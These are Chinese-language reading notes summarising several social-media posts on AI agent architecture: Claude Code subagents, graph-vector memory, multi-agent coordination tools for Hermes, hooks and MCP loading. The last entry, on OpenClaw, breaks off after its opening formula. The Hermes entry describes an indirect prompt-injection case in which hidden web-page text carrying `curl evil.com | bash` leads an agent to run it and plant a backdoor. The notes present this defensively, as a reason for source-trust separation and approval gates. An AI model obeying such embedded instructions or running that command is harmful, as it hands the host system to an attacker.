> Context Forking = `CLAUDE_CODE_FORK_SUBAGENT=1` (Child inherits parent's context cache, but tools remain isolated).
_當你在 Claude Code 中進行長時間編程時，無數次的 `grep` 和 `ls` 查詢會迅速塞滿上下文視窗（Context Window），導致重要資訊在系統自動壓縮時遺失。解法是使用「Subagents (子代理)」。讓子代理在獨立的視窗中去執行那些髒活累活（檢索、掃描），然後只把最終的結論回傳給主代理。這樣既保持了主對話的乾淨，又能透過 Fork 機制共享提示詞緩存 (Prompt Cache) 節省成本。_
### 一句話
> 這是一篇極具實操性的 Claude Code 優化指南。作者指出，單一上下文視窗會被大量的終端機指令工具輸出所污染。透過在 `.claude/agents/` 目錄下建立 Markdown 格式的子代理定義，你可以將「探索 (Explore)」或「規劃 (Plan)」等複雜任務外包。子代理在隔離環境中運行工具，只回傳精煉摘要。更進階的玩法是開啟 `CLAUDE_CODE_FORK_SUBAGENT=1`，讓子代理繼承主代理的上下文記憶，實現高效且乾淨的平行任務處理。
### 餐巾紙草圖
```text
[ Context Management with Subagents ]
Without Subagent (Bloated):
User -> Main Agent -> [ls] -> [grep] -> [find] -> [grep again] -> 80K tokens of noise -> Answer.
With Subagent (Clean):
User -> Main Agent -> [Spawns Subagent "Explorer"]
|-> [ls]
|-> [grep] -> 80K tokens processed in isolation
|-> [find]
<- Returns 3-line Summary
Main Agent Context: Clean, contains only the User request and the 3-line Summary.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 長時間的 Claude Code 會話會被工具輸出（grep, ls 等）塞滿。當觸發 Context Compaction（上下文壓縮）時，這些噪音會導致關鍵細節丟失。
- **解法 (Subagents)**: 一個具有獨立系統提示詞、工具權限和上下文視窗的專用助手。主代理呼叫它，它在隔離環境幹活，只回傳結果摘要。
- **如何建立**:
- 在 `.claude/agents/` (專案級) 或 `~/.claude/agents/` (全域) 中建立帶有 YAML frontmatter 的 Markdown 檔案（定義 name, description, tools）。
- **內建子代理**:
- `Explore`: 不污染主上下文的前提下搜尋代碼庫。
- `Plan`: 閱讀檔案、理解架構並產出實作步驟。
- **進階技巧 (Forking)**:
- 預設下子代理是「空白上下文」。如果主代理已經累積了對專案的深度理解，可以設定環境變數 `CLAUDE_CODE_FORK_SUBAGENT=1` 或使用 `/fork` 指令。
- Fork 後，子代理繼承父代理當下的完整記憶，且共用 Prompt Cache（輸入成本降 10 倍），但其後續的工具呼叫依然隔離不污染父代理。
- **監控工具**: 作者提供了一個實用 Hook `context-timeline`，可即時視覺化監控主代理與子代理的上下文運作狀態。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **上下文壓縮的代價**: LLM 雖然有巨大的 Context Window，但「大海撈針」效應明顯。當 80K tokens 全是 `grep` 的日誌時，LLM 提煉出來的摘要會非常扁平，丟失精確性。物理隔離是唯一解。
2. **Map-Reduce 模式的 Agent 實踐**: 主代理負責高層邏輯（Map），子代理負責具體的高密度 I/O 任務（Reduce）。這符合傳統軟體工程中的職責分離原則 (Separation of Concerns)。
3. **經濟學與效能考量**: Fork 機制不僅解決了「子代理重頭學起」的痛點，更巧妙利用了 Anthropic 的 Prompt Caching 機制。繼承上下文意味著重複的前綴可以直接命中快取，大幅降低 API 成本與延遲。
### 關鍵證據
- 作者提供的對比案例：不用子代理時，對話框裡塞滿了 50 個工具呼叫；使用 `Plan` 子代理後，主對話框只剩下 3 行摘要答案。視覺化監控工具 (`context-timeline`) 也直觀證實了記憶體隔離的運作。
### 邊界條件
- Fork 機制會將父代理的完整上下文複製給子代理，如果父代理本身就已經包含了大量不相關的雜訊，那麼 Fork 出來的子代理依然要承受這些雜訊的計算成本。因此，平時保持父代理的乾淨依然是首要任務。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美實作了《Context Management in Agent Harnesses》中提到的「Subagent Isolation (子代理隔離)」模式，也是《Anatomy of Agent SKILLS》中解決 Context Bloat（上下文膨脹）的具體工程手段。
- **深層洞見**: **"Thirty minutes in, you have 80k tokens of noise you'll never read."** 這是所有 AI 開發者最深刻的痛。不要讓 AI 代理在你的主臥室裡做木工，把它們送到車庫（Subagent）去，完工後把成品拿進來就好。
- **行動呼籲**:
1. 立刻在你的 Terminal 中匯出環境變數：`export CLAUDE_CODE_FORK_SUBAGENT=1`。
2. 建立一個專門用於「Code Review」的 Subagent 放在 `.claude/agents/` 中，賦予它 Read 和 Grep 權限。
3. 下次要重構代碼前，先請主代理呼叫 `Explore`，你會發現世界變得異常清爽。
Agent架構
打造永不遺忘的 Agent：從 Python List 到圖向量混合記憶 (Build Agents that never forget)
"這是一篇關於 AI Agent 記憶系統演進的教科書級好文。作者指出，記憶不是單純的儲存容量問題，而是「結構化與檢索」的問題。文章詳細拆解了四代記憶架構的死穴：純記憶體陣列（會爆滿）、純 Markdown 檔案（缺乏語義搜尋）、純向量庫（缺乏實體關係推論）。最終推演出的終極形態是「圖向量混合架構 (Graph-Vector Hybrid)」。透過開源引擎 Cognee，Agent 可以將零散的事實聚合成知識圖譜，並透過 RL (強化學習) 機制自我強化常用記憶路徑，實現真正的長期認知積累。"
---
tags: [Agent架構, 底層原理, 開發工具]
date: 2026-04-14
source: "20260512_2026-04-28T092728+0800-Build Agents that never forget.md"
---
# 打造永不遺忘的 Agent：從 Python List 到圖向量混合記憶 (Build Agents that never forget)
原始來源與檔名：20260512_2026-04-28T092728+0800-Build Agents that never forget.md
來源：[[@akshay_pachaar]] / X (Twitter) — 2026-04-14
原始檔名：`2026-04-28T092728+0800-Build Agents that never forget.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Level 1 Memory: Python List -> Context limit reached -> Amnesia.
> Level 2 Memory: Markdown Files -> Disk limit reached -> Keyword search fails on synonyms.
> Level 3 Memory: Vector DB -> Synonym problem solved -> Fails on relational/multi-hop queries.
> Level 4 Memory (Cognee): Vector (Semantics) + Graph (Relationships) + Relational (Provenance) = True Learning Agent.
_LLM 天生無狀態，單純把 128K Token 塞滿只會導致「迷失在中間 (Lost in the middle)」的災難。這篇文章從第一性原理出發，盤點了 Agent 記憶架構的演進：從最簡單的 Python 陣列、到寫入硬碟的 Markdown 檔、再到引入向量資料庫（解決了同義詞問題，卻無法處理複雜的關聯推論）。最終，作者推薦開源工具 Cognee，它用四個 API 呼叫，在底層整合了關聯式資料庫、向量庫與圖資料庫，讓 Agent 真正具備「學習與遺忘」的能力。_
### 一句話
> 這是一篇關於 AI Agent 記憶系統演進的教科書級好文。作者指出，記憶不是單純的儲存容量問題，而是「結構化與檢索」的問題。文章詳細拆解了四代記憶架構的死穴：純記憶體陣列（會爆滿）、純 Markdown 檔案（缺乏語義搜尋）、純向量庫（缺乏實體關係推論）。最終推演出的終極形態是「圖向量混合架構 (Graph-Vector Hybrid)」。透過開源引擎 Cognee，Agent 可以將零散的事實聚合成知識圖譜，並透過 RL (強化學習) 機制自我強化常用記憶路徑，實現真正的長期認知積累。
### 餐巾紙草圖
```text
[ The Vector Search Blindspot ]
Fact 1: "Alice leads Project Atlas"
Fact 2: "Project Atlas uses PostgreSQL"
Fact 3: "PostgreSQL went down on Tuesday"
User Query: "Was Alice's project affected by Tuesday's outage?"
Vector Search: Matches "Alice" and "Tuesday". Completely misses Fact 2 (the bridge).
Graph Search: Alice -> (leads) -> Project Atlas -> (uses) -> PostgreSQL -> (down on) -> Tuesday. (Success!)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **缺乏記憶的 7 種死法**: 包含上下文失憶、零個人化、多步任務中斷、不斷重複犯錯等。單純加大 Context Window（如 200K）無效，因為準確率會因「迷失在中間」效應下降 30%。
- **認知科學框架**: Agent = LLM + Memory + Planning + Tool Use。長期記憶又分為：情節記憶（具體事件）、語義記憶（事實/概念）和程序記憶（技能/工作流）。
- **記憶架構的演進**:
- **Layer 1 (Python List)**: 每次傳送完整對話。缺點：記憶體無持久性，容易爆滿。
- **Layer 2 (Markdown on disk)**: 將對話寫入檔案。缺點：當資料量大時，只能靠 Keyword Search，找不到同義詞。
- **Layer 3 (Vector Search)**: 解決了同義詞問題。缺點：無法處理跨實體的關聯推論（Multi-hop queries），因為向量點之間缺乏「連接邊 (Edges)」。
- **終極解法 (Cognee)**:
- 結合了三種儲存庫：關聯式資料庫（追蹤來源）、向量庫（語義檢索）、圖資料庫（實體關係）。
- **Memify 機制**: 具有自我優化能力，會像人腦一樣強化常用的檢索路徑，修剪不再使用的節點。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **資訊檢索的物理極限**: 儲存體沒有智慧檢索，就只是一座沒有目錄的圖書館。向量檢索 (Vector Search) 雖然能解決語義相似度問題，但商業邏輯本質上是「關聯性」的（誰向誰匯報、什麼依賴什麼）。一旦問題需要跳躍兩個以上的節點，扁平的向量空間就會失效。
2. **記憶的本質是固化 (Consolidation)**: 一個真正的 Agent 必須能把「使用者連續三次拒絕長篇大論」這種具體的**情節記憶**，提煉並固化成「這個使用者偏好條列式重點」的**語義/程序記憶**。Cognee 的 Graph 結構允許實體合併與權重調整，這正是人腦神經突觸強化的數位對應。
### 關鍵證據
- 作者提供的 "Alice / Project Atlas / PostgreSQL" 三段式推理範例，極其精準地擊中了單一 Vector DB 架構的死穴。
### 邊界條件
- 混合圖向量架構（Graph-Vector Hybrid）的缺點是建置與維護成本極高，計算 Overhead 較大。對於只需要回答簡單 FAQ 的客服機器人來說，引入 Cognee 殺雞用牛刀；但對於要自主管理基礎設施或處理複雜專案的 AI 員工，這則是必備的基礎設施。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Memory in Claude Managed Agents》中關於「檔案系統記憶」的探討。Claude Managed Agents 是用極簡的檔案系統讓 LLM「自己」去組織目錄結構；而 Cognee 則是從外部底層提供了一個強大的神經網路圖譜引擎，兩者代表了 Agent 記憶工程的兩條不同路線（模型自主 vs 框架賦能）。
- **深層洞見**: **"Storage without intelligent retrieval is a library with no catalog."** 記憶不是把東西存起來，記憶是在你需要的時候，剛好能把對的東西拿出來。
- **行動呼籲**:
如果你的 AI 應用還在無腦往 Vector DB 裡塞資料，請停下來。評估一下你的查詢是否包含「關係鏈」。如果是，請立刻研究引入 Knowledge Graph (知識圖譜) 結合 Vector 的雙軌架構。
Agent架構
拯救 Hermes 混亂的多 Agent 協作：必備的兩款開源工具 (Must-Have Tools for Hermes)
"這是一篇實戰踩坑記錄與解決方案分享。作者在部署 Hermes 多 Agent 矩陣時遇到了三大深坑：多 Agent 任務衝突導致文件被覆蓋、跨 Session 的經驗無法傳遞，以及 Agent 被網頁惡意提示詞（Prompt Injection）挾持執行危險腳本。為此，作者推薦了兩款開源工具： 透過 CLI 為 Agent 提供任務認領鎖、依賴排序、人工審批與跨專案經驗（Doctrine）同步； 則從底層攔截了由網頁/MCP 等不可信來源觸發的危險執行權限，為 Agent 築起安全防火牆。"
---
tags: [Agent架構, 開發工具, 效能優化]
date: 2026-04-23
source: "20260512_2026-04-28T092720+0800-让你的 Hermes 越用越聪明的必备工具.md"
---
# 拯救 Hermes 混亂的多 Agent 協作：必備的兩款開源工具 (Must-Have Tools for Hermes)
原始來源與檔名：20260512_2026-04-28T092720+0800-让你的 Hermes 越用越聪明的必备工具.md
來源：[[@ResearchWang]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092720+0800-让你的 Hermes 越用越聪明的必备工具.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Hermes Out-of-box = Race Conditions (Overwriting files) + Isolated Silos (No shared learning) + Web Exploits (Executing malicious text).
> Maestro CLI = Task Locking + Dependency Graph + Human Approval Gates + Doctrine (Knowledge Sharing).
> Hermes-Agent-Camel = Security Fork (Blocks destructive actions triggered by untrusted external sources).
_當你嘗試在 Hermes 中部署多個 Agent 並發工作時，你會遇到一場災難：Agent 之間會互相覆蓋代碼（競態條件）、各自的經驗無法跨項目共享（例如小紅書帳號 A 學到的爆款標題規律無法傳給帳號 B），甚至會被網頁裡的隱藏惡意代碼挾持而執行破壞性指令。解決方案是：使用 `maestro` (CLI 工具) 來擔任專案經理，進行任務鎖定、依賴排序與經驗傳遞；並安裝 `hermes-agent-camel` (安全分叉版) 作為防火牆，攔截來自不可信來源的敏感操作。_
### 一句話
> 這是一篇實戰踩坑記錄與解決方案分享。作者在部署 Hermes 多 Agent 矩陣時遇到了三大深坑：多 Agent 任務衝突導致文件被覆蓋、跨 Session 的經驗無法傳遞，以及 Agent 被網頁惡意提示詞（Prompt Injection）挾持執行危險腳本。為此，作者推薦了兩款開源工具：`maestro` 透過 CLI 為 Agent 提供任務認領鎖、依賴排序、人工審批與跨專案經驗（Doctrine）同步；`hermes-agent-camel` 則從底層攔截了由網頁/MCP 等不可信來源觸發的危險執行權限，為 Agent 築起安全防火牆。
### 餐巾紙草圖
```text
[ Maestro Workflow for Multi-Agents ]
Without Maestro:
Agent A -> Modifies config.py
Agent B -> Modifies config.py -> Overwrites A -> Disaster!
With Maestro:
Agent A -> Claims task via Maestro -> Locks config.py
Agent B -> Sees lock -> Waits or does another task.
[ Doctrine Knowledge Transfer ]
Agent A (Lifestyle) -> Discovers "Use numbers in titles" -> Maestro saves as Doctrine
Agent B (Career) -> Starts task -> Maestro loads Doctrine -> Uses numbers in titles.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **踩坑實錄**:
- **坑一：多 Agent 任務衝突**: 兩個 Agent 同時修改同一個配置文件，後者覆蓋前者，導致數據庫配置丟失。
- **坑二：經驗無法跨專案傳遞**: 運營「生活號」的 Agent 學到的爆款標題規律，無法自動同步給同一個系統下運營「職場號」的 Agent，記憶被孤立在 Session 內。
- **坑三：網頁惡意挾持 (Prompt Injection)**: 抓取網頁資料時，遇到隱藏的白色文字命令（如 `curl evil.com | bash`），Agent 盲目執行，導致伺服器被植入後門。
- **解法一：Maestro (專案管理系統)**:
- 獨立的 CLI 工具。提供四項能力：
1. **任務認領鎖**: 避免多 Agent 搶奪同一個檔案。
2. **依賴排序**: 自動等待前置任務完成才釋放後續任務。
3. **人工審批門**: Agent 執行高危操作（如刪除資料庫）前必須先寫計畫，經人類審批後才動手。
4. **跨項目經驗傳遞 (Doctrine)**: 將成功經驗提煉為操作規則，並自動載入給其他 Agent 共享。
- **解法二：Hermes-Agent-Camel (安全防火牆)**:
- Hermes 的 Fork 版本。區分「可信指令（使用者輸入）」與「不可信來源（網頁、文件、外部 MCP）」。任何由不可信來源觸發的執行命令或寫檔案操作，一律被攔截。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **併發控制與狀態管理的必要性**: 原生的 Agent 框架（如初版的 Hermes）只關注「讓 Agent 動起來」，卻忽略了分散式系統的基本難題——鎖 (Locks) 和併發衝突 (Concurrency issues)。Maestro 其實就是把傳統軟體工程裡的任務調度系統賦予了 Agent 生態。
2. **記憶池化 (Memory Pooling)**: 經驗如果鎖死在單一 Agent 的短期記憶或私有 Session 裡，團隊效率就是 0。Doctrine 的設計完美解決了知識沉澱的問題，讓多 Agent 矩陣能產生真正的湧現智慧。
3. **安全隔離的迫切性**: Indirect Prompt Injection（間接提示詞注入攻擊）是當下 Agent 面臨的最大安全威脅。讓 Agent 擁有聯網能力的同時賦予終端執行權限，無異於在裸奔。Camel 分叉版引入的「來源信任等級區分」是資安領域的最佳實踐。
### 關鍵證據
- 具體的災難場景：配置文件被覆蓋導致頁面白屏、隱藏的白色文字腳本植入後門，這些都是極具說服力的真實痛點。
### 邊界條件
- Maestro 增加了系統的複雜度。如果你的場景只是單一 Agent 跑些簡單的腳本，引入 Maestro 反而會增加不必要的 API 調用成本與延遲。它是為「多 Agent 矩陣」而生的重型解決方案。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 「坑三」完美印證了《Mercury: The AI Agent We All Wanted》中所批判的「不負責任的寬鬆權限」。而 Maestro 的 Doctrine 經驗傳遞，則呼應了《Company Brain: Interaction Memory》中「提煉並共享團隊經驗法則」的核心概念。
- **深層洞見**: 多 Agent 的協作難點，從來不是模型不夠聰明，而是「社會工程學」問題——如何分工、如何避免內耗、如何共享知識、如何防禦外敵。給 Agent 發一個 CLI 專案管理工具（Maestro），這思路絕妙，因為我們是用「工具」來管理另一個「工具」。
- **行動呼籲**:
1. 如果你在跑自主運行的 Agent，立刻審視你的沙盒安全配置。你是否允許 Agent 將抓取到的任何未經過濾的網頁內容作為終端機指令執行？如果是，請立刻停用並升級安全隔離。
2. 參考 Doctrine 機制，手動為你的 Claude Code 或 Cursor 建立一個 `rules.md` 檔案，把每次踩坑的教訓寫進去，作為全域經驗庫。
Agent架構
揭秘 Claude Code 的五層架構：別再把 Agent 當成 Prompt (The 5-Layer Architecture)
"這是一篇從「系統架構」視角重新審視 Claude Code 的神作。作者指出單靠 Prompting 會面臨狀態丟失、上下文無限膨脹和毫無護欄等致命缺陷。真正的 Agent 必須是一個多層分散式系統：CLAUDE.md 負責法典級記憶（不重置），Skills 實現按需載入的模組化智能，Hooks 是決定性的非 AI 事件觸發器（保證安全防線），而 Subagents 則解決了單一 Agent 認知過載的問題。"
---
tags: [Agent架構, 系統工程, 認知思維]
date: 2026-05-04
source: "20260512_2026-05-05T093906+0800-The 5-Layer Architecture Behind Claude Code That Most Engineers Completely Ignore.md"
---
# 揭秘 Claude Code 的五層架構：別再把 Agent 當成 Prompt (The 5-Layer Architecture)
原始來源與檔名：20260512_2026-05-05T093906+0800-The 5-Layer Architecture Behind Claude Code That Most Engineers Completely Ignore.md
來源：[[@Suryanshti777]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093906+0800-The 5-Layer Architecture Behind Claude Code That Most Engineers Completely Ignore.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent != Prompting.
> Claude Code Architecture = (Memory) + (Skills) + (Hooks) + (Subagents) + (Plugins).
> Missing Layers = Drift, Context Bloat, Risk, Overload, Silos.
_大多數工程師對 AI 寫 Code 的理解還停留在「寫更好的 Prompt」。這篇文章一針見血地指出，決定 AI 系統能否上正式環境的關鍵在於「架構」，而非 Prompt。Claude Code 默默實作了一套 5 層架構，其中 4 層跟 Prompt 毫無關係。透過 CLAUDE.md 建立常駐記憶、用 Skills 封裝微服務、用 Hooks 建立安全護欄、用 Subagents 分配任務、用 Plugins 分發能力，這才是一個工業級 AI 團隊該有的樣子。_
### 一句話
> 這是一篇從「系統架構」視角重新審視 Claude Code 的神作。作者指出單靠 Prompting 會面臨狀態丟失、上下文無限膨脹和毫無護欄等致命缺陷。真正的 Agent 必須是一個多層分散式系統：CLAUDE.md 負責法典級記憶（不重置），Skills 實現按需載入的模組化智能，Hooks 是決定性的非 AI 事件觸發器（保證安全防線），而 Subagents 則解決了單一 Agent 認知過載的問題。
### 餐巾紙草圖
```text
[ The 5 Layers of Agent Architecture ]
1. Memory (CLAUDE.md) -> The Constitution (Always loaded)
2. Skills (SKILL.md) -> Microservices of Intelligence (On-demand)
3. Hooks (Events) -> The Guardrails (Deterministic, non-AI)
4. Subagents -> The Delegation Layer (Isolated context)
5. Plugins -> The Distribution Layer (Team sharing)
Result: One overwhelmed prompt -> A coordinated, structured system.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **破除 Prompt 迷思**: Prompting 是無狀態的 (Stateless)。而真實的軟體開發需要狀態、約束與協作。只靠 Prompt 會導致：上下文重置、Token 暴漲、危險行為、認知過載。
- **Layer 1 - Memory (CLAUDE.md)**: 系統的憲法。常駐加載，不隨 Session 重置。它消除了重複給予上下文的浪費，讓 Agent 表現得像個團隊成員。
- **Layer 2 - Knowledge (Skills)**: 智能的微服務。不是一直放在記憶體裡，而是「按需載入 (On-demand)」。這保持了 Context Window 的乾淨與高效。
- **Layer 3 - Guardrail (Hooks)**: 護欄層。這是多數人忽略的一層。Hooks 是**決定性的 (Deterministic)、基於事件的、非 AI 的**。例如在寫入檔案後自動跑 Lint，或攔截 `rm -rf`。依靠 Prompt 來確保安全是脆弱的，Hooks 才是真理。
- **Layer 4 - Delegation (Subagents)**: 分配層。不讓單一 Agent 處理所有事。將任務委派給具有獨立上下文和工具權限的子 Agent（例如：測試運行員、程式碼審查員），避免混亂與遞迴失控。
- **Layer 5 - Distribution (Plugins)**: 分發層。將上述四層打包，讓能力可以像 NPM 套件一樣在團隊間分享，實現 AI 行為的標準化。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **智能的模組化 (Modular Intelligence)**: 把所有規則塞進一個巨大的 System Prompt，就像把整個系統寫在一個 `main()` 函數裡一樣愚蠢。Layer 2 (Skills) 和 Layer 4 (Subagents) 的設計，本質上就是軟體工程中「關注點分離 (Separation of Concerns)」在 AI 領域的投射。
2. **基於 Prompt 的安全性是個笑話**: 這篇文章最精采的論點在 Layer 3 (Hooks)。告訴 LLM "請不要刪除檔案" 是沒用的，它會產生幻覺、會被越獄。真正的防護必須是底層的事件鉤子（Event -> Match -> Execute），這層沒有妥協餘地，也沒有 AI 解釋的空間。
### 關鍵證據
- 分析了為什麼系統會崩潰，並將其與架構缺陷直接對應：
- 缺乏記憶 -> 行為不一致 (Inconsistency)
- 缺乏技能 -> 效率低落 (Inefficiency)
- 缺乏護欄 -> 執行風險 (Risk)
- 缺乏子代理 -> 認知過載 (Overload)
### 邊界條件
- 這套架構（尤其是 Subagents 與外圍的 MCP Servers 連接）極大程度依賴底層調度系統（Orchestrator）的穩定性與速度。如果子 Agent 的啟動延遲過高，整個工作流的體驗會非常糟糕。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美總結了前幾篇文章的概念。Layer 1 呼應《AGENT.md / DESIGN.md 的重要性》，Layer 2 呼應《Claude Skills 實戰指南》，Layer 3 呼應《Company Brain: Action Memory 中護欄的概念》。
- **深層洞見**: **"We’re moving from 'Writing better prompts' to 'Designing better systems'."** AI 應用的開發，正式從「語文遊戲」回歸到了硬核的「系統工程與架構設計」。
- **行動呼籲**:
檢視你目前的 AI Agent 專案：你是否還在試圖用一段 5000 字的 Prompt 來解決所有問題？停止這種做法。開始把你的系統拆分為 CLAUDE.md (常駐規則) + Skills (按需加載) + Hooks (寫死在程式碼裡的防線)。用系統工程的思維去建構 AI。
Agent架構
正確使用 MCP 伺服器：避免上下文膨脹的兩種模式 (How to Correctly Use MCP Servers)
"這是一篇解決 MCP 工具載入災難的工程架構文。當 Agent 連接過多 MCP 伺服器時，龐大的 API Schema 會塞爆上下文視窗。作者提供了兩個防護網：對「偶發性需求」，採用 Inline Tool Injection，使用者 時才動態加載 Schema；對「常態性任務」，採用 Subagent 架構，將 MCP 封裝在專用的子代理中，並使用 實行最小權限原則。核心精神是：絕對不要在主迴圈中無腦載入所有工具。"
---
tags: [Agent架構, 軟體工程, 架構設計]
date: 2026-04-27
source: "20260512_2026-04-28T092543+0800-How to correctly use MCP servers with your AI Agents.md"
---
# 正確使用 MCP 伺服器：避免上下文膨脹的兩種模式 (How to Correctly Use MCP Servers)
原始來源與檔名：20260512_2026-04-28T092543+0800-How to correctly use MCP servers with your AI Agents.md
來源：[[@_philschmid]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092543+0800-How to correctly use MCP servers with your AI Agents.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Anti-pattern: Pre-loading ALL MCP schemas -> Context Bloat -> Hallucinations & High Cost.
> Pattern 1 (Explicit): User types `@github` -> Agent resolves -> Fetches schemas -> Injects ONLY for this request.
> Pattern 2 (Subagent): Define specialized agent -> Load MCP -> Filter via `allowed_tools`.
_MCP (Model Context Protocol) 伺服器並沒有死，但盲目地在全域開啟所有 MCP 會導致極嚴重的上下文膨脹與效能低落。與具有「漸進式披露」機制的 Agent Skills 不同，MCP 必須由開發者主動控管。作者提出了兩種正確架構：一是「明確注入模式」，讓使用者在 Prompt 中主動 @ 喚醒特定伺服器；二是「子代理模式」，將 MCP 綁定在特定的 Subagent 上，並透過白名單機制嚴格限制可見的工具。_
### 一句話
> 這是一篇解決 MCP 工具載入災難的工程架構文。當 Agent 連接過多 MCP 伺服器時，龐大的 API Schema 會塞爆上下文視窗。作者提供了兩個防護網：對「偶發性需求」，採用 Inline Tool Injection，使用者 `@mention` 時才動態加載 Schema；對「常態性任務」，採用 Subagent 架構，將 MCP 封裝在專用的子代理中，並使用 `allowed_tools` 實行最小權限原則。核心精神是：絕對不要在主迴圈中無腦載入所有工具。
### 餐巾紙草圖
```text
[ How to prevent MCP Context Bloat ]
❌ Bad: Orchestrator -> Loads ALL MCPs (Slack, GitHub, Jira) -> Huge Request
✅ Pattern 1: User-Driven (Opt-in)
Prompt: "Check @github for PRs" -> Agent resolves @github -> Injects only Github tools -> LLM Call
✅ Pattern 2: Agent-Driven (Subagents)
Orchestrator -> Calls [Code Review Subagent]
Code Review Subagent -> Loads Github MCP (Filtered via `allowed_tools: [list_pulls, get_diff]`) -> LLM Call
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: MCP 預設沒有「漸進式披露 (Progressive Disclosure)」，盲目啟用會導致上下文膨脹、成本飆高、推理能力下降。
- **解決方案 1：明確的 MCP 伺服器 (Inline Tool Injection)**:
- 機制：預設不載入任何 MCP 工具。當使用者在對話中輸入 `@github` 或 `@slack` 時，Agent 才去解析、拉取該伺服器的 Schema，並將其注入到本次 API 請求的 `tools[]` 陣列中。
- 適用場景：偶發性、使用者驅動的需求。保持工具表面積極小。
- **解決方案 2：子代理 MCP 伺服器 (Subagent MCP Servers)**:
- 機制：將 MCP 伺服器定義在特定子代理 (Subagent) 的設定檔中，並透過 `allowed_tools` 設定白名單。主代理 (Orchestrator) 呼叫子代理時，子代理才結合本機工具與被過濾後的 MCP 工具執行任務。
- 適用場景：特定職能的 Agent（例如：Code Review Agent 永遠需要 GitHub 工具）。實現「最小權限原則」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Schema Bloat (結構膨脹)**: 一個典型的 GitHub 或 Jira MCP 伺服器包含了數十個 API endpoint，每個 endpoint 的 JSON Schema 描述可能長達數百 tokens。如果不做過濾全域載入，Agent 每次思考前都要先閱讀數萬 tokens 的工具說明，這不僅昂貴，還會導致注意力分散。
2. **生命週期解耦**: 第一種模式將 MCP 的生命週期綁定到「使用者的單次 Request」；第二種模式將生命週期綁定到「特定的任務 Domain」。兩者本質上都是實踐延遲載入 (Lazy Evaluation)。
3. **安全與精準度 (Least Privilege)**: 透過 `allowed_tools`，我們不需要去修改或 Fork 第三方的 MCP 伺服器程式碼，就能在 Agent 這一端建立防火牆，防止 AI 亂呼叫危險工具。
### 關鍵證據
- TypeScript 虛擬碼展示：
- Pattern 1 展示了 `parseMentions(prompt)` 後，動態執行 `Promise.all(servers.map(s => s.listTools()))`。
- Pattern 2 展示了 YAML 設定檔中 `mcp_servers` 下的 `allowed_tools` 陣列過濾邏輯。
### 邊界條件
- Pattern 1 依賴使用者的意圖明確（使用者必須知道要打 `@github`）。如果使用者不知道要呼叫誰，這個模式會失效。此時必須依賴更高階的 Router (如 Pattern 2 的 Orchestrator) 來代為判斷。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Anatomy of Agent SKILLS》中對「漸進式披露」的強烈需求，以及《MCP vs CLI was the wrong debate》中避免把 Schema 塞入上下文的核心精神。這篇文章給出了 MCP 生態系的具體解法。
- **深層洞見**: **"The MCP servers are part of what the agent is, not something a user opts into per request." (在子代理模式中，MCP 是構成該代理本質的一部分，而不是一個工具選項。)** 當你賦予一個 AI 查閱 GitHub 的能力，你就定義了它的職能範圍。這正是 Multi-Agent 架構的核心。
- **行動呼籲**:
立刻重構你的 MCP 整合架構：
1. 絕對不要在 Global 載入 MCP。
2. 檢查你所有的 Agent 配置文件，為每一個 MCP 連線加上 `allowed_tools` 陣列，狠狠砍掉那些 Agent 根本不需要知道的 API endpoints。
Agent架構
深度拆解 OpenClaw 架構：不只是一個 LLM Wrapper (OpenClaw Architecture)
"這是一篇極佳的 OpenClaw 架構解析文。作者跳脫了表面應用的展示，直接剖析其資料流。從 Channel Plugin 接收訊息開始，經過 Gateway 的路由排隊，再到重建上下文（融合了歷史 Transcript、短期記憶與長期 Markdown 檔案）。文章點出 OpenClaw 強大的秘密在於它不依賴單一的資料庫，而是巧妙運用純文字檔 (Workspace files) 與追加寫入的對話樹 (Append-only logs) 來維護狀態；加上 Cron 和 Heartbeat 等主動觸發機制，使其成為一個能長時間自主運作的 Agent OS。"
---
tags: [Agent架構, 開發工具, 系統工程]
date: 2026-05-04
source: "20260512_2026-05-05T093709+0800-This should be the last article you must read on OpenClaw.md"
---
# 深度拆解 OpenClaw 架構：不只是一個 LLM Wrapper (OpenClaw Architecture)
原始來源與檔名：20260512_2026-05-05T093709+0800-This should be the last article you must read on OpenClaw.md
來源：[[@GargEtisha]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093709+0800-This should be the last article you must read on OpenClaw.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> OpenClaw = Gateway (Routing & Session State) + Agent Runtime (Pi loop & Tool execution).
> Memory Persistence = Session Store (Metadata) + Transcripts (Append-only tree) + Workspace Files (IDENTITY.md, memory.md).
> Triggers = Direct Messages + Heartbeat (30m) + Cron + Webhooks.
